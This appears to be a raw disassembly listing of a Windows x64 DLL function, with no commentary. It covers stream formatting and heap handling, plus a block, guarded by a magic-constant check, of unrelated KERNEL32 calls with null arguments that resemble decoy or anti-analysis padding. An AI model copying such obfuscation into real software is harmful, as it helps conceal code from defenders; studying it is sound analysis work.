call fcn.180065f78
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movzx edx, word [rbp + 0x14]
mov rcx, rbx
call fcn.1800128d0
mov rcx, rax
lea rdx, [0x1801266e4]
call fcn.180017dd0
lea rdx, [0x180126710]
lea rcx, [rbp + 0x40]
call fcn.180017dd0
lea rdx, [0x180126738]
lea rcx, [rbp + 0x40]
call fcn.180017dd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], 0x30
mov edx, r14d
lea rcx, [rbp - 0x40]
call fcn.180065f78
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movzx edx, word [rbp + 0x1e]
mov rcx, rbx
call fcn.1800128d0
mov rcx, rax
lea rdx, [0x1801266f0]
call fcn.180017dd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], 0x30
mov edx, r14d
lea rcx, [rbp - 0x20]
call fcn.180065f78
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movzx edx, word [rbp + 0x1a]
mov rcx, rbx
call fcn.1800128d0
mov rcx, rax
lea rdx, [0x1801266f0]
call fcn.180017dd0
movzx edx, word [rbp + 0x18]
mov rcx, rax
call fcn.1800128d0
mov rcx, rax
lea rdx, [0x1801266ec]
call fcn.180017dd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], 0x30
mov edx, r14d
lea rcx, [rbp + 0x150]
call fcn.180065f78
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movzx edx, word [rbp + 0x20]
mov rcx, rbx
call fcn.1800128d0
mov rcx, rax
lea rdx, [0x1801266e8]
call fcn.180017dd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], 0x30
mov edx, r14d
lea rcx, [rsp + 0x50]
call fcn.180065f78
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movzx edx, word [rbp + 0x22]
mov rcx, rbx
call fcn.1800128d0
mov rcx, rax
lea rdx, [0x1801266e8]
call fcn.180017dd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], 0x30
mov edx, r14d
lea rcx, [rbp + 0x30]
call fcn.180065f78
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
movzx edx, word [rbp + 0x24]
mov rcx, rbx
call fcn.1800128d0
mov rcx, rax
lea rdx, [0x1801266e4]
call fcn.180017dd0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov rsi, rax
test rax, rax
jne 0x18000681c
lea rdx, [0x180126750]
lea rcx, [rbp + 0x40]
call fcn.180017dd0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.1800124b0
mov rcx, rax
lea rdx, [0x1801266e4]
call fcn.180017dd0
jmp 0x1800068db
mov edx, 8
mov r8d, 0x1000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
lea rcx, [rbp + 0x40]
test rax, rax
jne 0x18000686c
lea rdx, [0x180126768]
call fcn.180017dd0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.1800124b0
mov rcx, rax
lea rdx, [0x1801266e4]
call fcn.180017dd0
jmp 0x1800068d2
lea rdx, [0x180126788]
call fcn.180017dd0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov rdx, rbx
mov rcx, rax
call fcn.1800122a0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff3ff
bts ecx, 9
mov dword [rdx + rax + 0x18], ecx
lea rdx, [0x1801266e4]
mov rcx, rax
call fcn.180017dd0
mov r8, rbx
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
lea rcx, [rbp + 0x48]
call fcn.1800159d0
test rax, rax
jne 0x180006918
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x88], 0
cmovne eax, r14d
or eax, dword [rbp + rcx + 0x50]
and eax, 0x17
mov dword [rbp + rcx + 0x50], eax
and eax, dword [rbp + rcx + 0x54]
jne 0x180006a80
test rdi, rdi
jne 0x180006a03
cmp dword [0x18010d350], 0xc1c04517
jne 0x1800069ca
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceExW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventExW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FileTimeToDosDateTime]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleOriginalTitleW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lock dec dword [r12]
lea rax, [fcn.180073e84]
add rax, 0x156
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x156
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x4d0]
lea rcx, [rsp + 0x50]
call fcn.180018400
mov rdi, rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [0x180125538]
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x48]
call fcn.1800117e0
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [0x1801197a8]
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x3c], edx
mov qword [rbp + 0xe8], r13
lea rcx, [rbp + 0xe8]
call fcn.180065cc4
nop
mov rax, rdi
add rsp, 0x588
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
test al, 4
je 0x180006a8d
lea rbx, [0x1801261e0]
jmp 0x180006aa2
test r14b, al
lea rbx, [0x1801261f8]
lea rax, [0x180126210]
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x40]
call fcn.180001950
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.180002a40
lea rdx, [0x18012e7e0]
lea rcx, [rbp - 0x20]
call fcn.1800691a0
nop
call fcn.180073e0c
nop
call fcn.180073e0c
nop
call fcn.180073e0c
int3